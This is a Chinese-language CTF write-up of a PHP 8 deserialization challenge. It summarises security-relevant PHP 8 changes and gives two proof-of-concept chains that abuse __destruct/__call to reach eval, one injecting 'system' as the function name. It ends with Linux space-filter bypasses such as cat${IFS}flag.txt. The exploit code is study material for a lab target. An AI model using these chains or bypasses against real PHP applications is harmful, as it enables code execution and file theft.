首先感谢感谢glan师傅供题
这题是在php8的版本下,首先去了解一下php8和之前版本的区别
P神文章:https://www.leavesongs.com/PHP/php-8-0-release.html
作为安全研究者,我会更关注的是和安全相关的改动。除了前面提到了弱类型方面的改动外,PHP 8还进行了如下一些和安全相关的改动:
-
assert()
不再支持执行代码,少了一个执行任意代码的函数,这个影响还是挺大的。 -
create_function()
函数被彻底移除了,我们又少了一个可以执行任意代码的函数。 -
libxml依赖最低2.9.0起,也就是说,XXE漏洞彻底消失在PHP里了。
-
继
preg_replace()
中的e模式被移除后,mb_ereg_replace()
中的e模式也被彻底移除,再次少了一个执行任意代码的函数。 -
Phar中的元信息不再自动进行反序列化了,
phar://
触发反序列化的姿势也告别了。 -
parse_str()
必须传入第二个参数了,少了一种全局变量覆盖的方法。 -
php://filter
中的string.strip_tags
被移除了,我在文章《谈一谈php://filter的妙用》中提到的去除死亡exit的方法之一也就失效了。 -
strpos()
等函数中的参数必须要传入字符串了,以前通过传入数组进行弱类型利用的方法也失效了。POC链:
<?php highlight_file(__FILE__); function getflag(string $name,int $pass){ if($name=="ctf"&$pass==2022){ echo file_get_contents("/flag"); } } function noflag(string $name,int $pass){ echo("noflag here"); } class ctf{ public $name = "getflag"; public function __construct(){ } public function __wakeup(){ $this->name = "noflag"; } public function __call($fun,$arg){ if($fun=="wantflag"){ if(preg_match("/^[a-z0-9,_.\[\]\']+$/i", $arg[0])){ if(strlen(explode(",",$arg[0])[0])>8){ echo "success"; $func = $this->name."(".$arg[0].");"; var_dump($func); eval($func); } } } } } class export{ public $clazz = ""; public $args = ""; public function __construct(){ } public function __destruct(){ $this->clazz->wantflag($this->args); } } var_dump(preg_match("/^[a-z0-9,_.\[\]\']+$/i", "ls")); $data = new export; $a = new ctf; $data->clazz = $a; $a->name = 'system'; $data -> args = "'l''''''''s'"; echo serialize($data); unserialize($data);
这里可以执行代码控制,控制执行任意函数,第二个参数有限制,但是应该可以绕过
函数为readfile,参数为flag
第二种姿势Fast Destruct(预期解):
<?php highlight_file(__FILE__); error_reporting(0); function getflag(string $name,int $pass){ echo "winwin"; if($name=="ctf"&$pass==2022){ echo file_get_contents("/flag"); } } function noflag(string $name,int $pass){ echo("noflag here"); } class ctf{ public $name = "getflag"; public function __destruct(){ echo "do"; } public function __wakeup(){ echo "poc"; $this->name = "noflag"; } public function __call($fun,$arg){ if($fun=="wantflag"){ if(preg_match("/^[a-z0-9,_.\[\]\']+$/i", $arg[0])){ var_dump(explode(",",$arg[0])); if(strlen(explode(",",$arg[0])[0])>8){ $func = $this->name."(".$arg[0].");"; var_dump($func); eval($func); } } } } } class export{ public $clazz = ""; public $args = ""; public function __construct(){ } public function __destruct(){ $this->clazz->wantflag($this->args); } } $data = new export; $a = new ctf; $data->clazz = $a; $data -> args = "'c'.'t'.'f',2022";
在linux下绕过空格,虽然这个姿势没用到,但是还是记录一下吧
cat flag.txt cat${IFS}flag.txt cat$IFS$9flag.txt cat<flag.txt cat<>flag.txt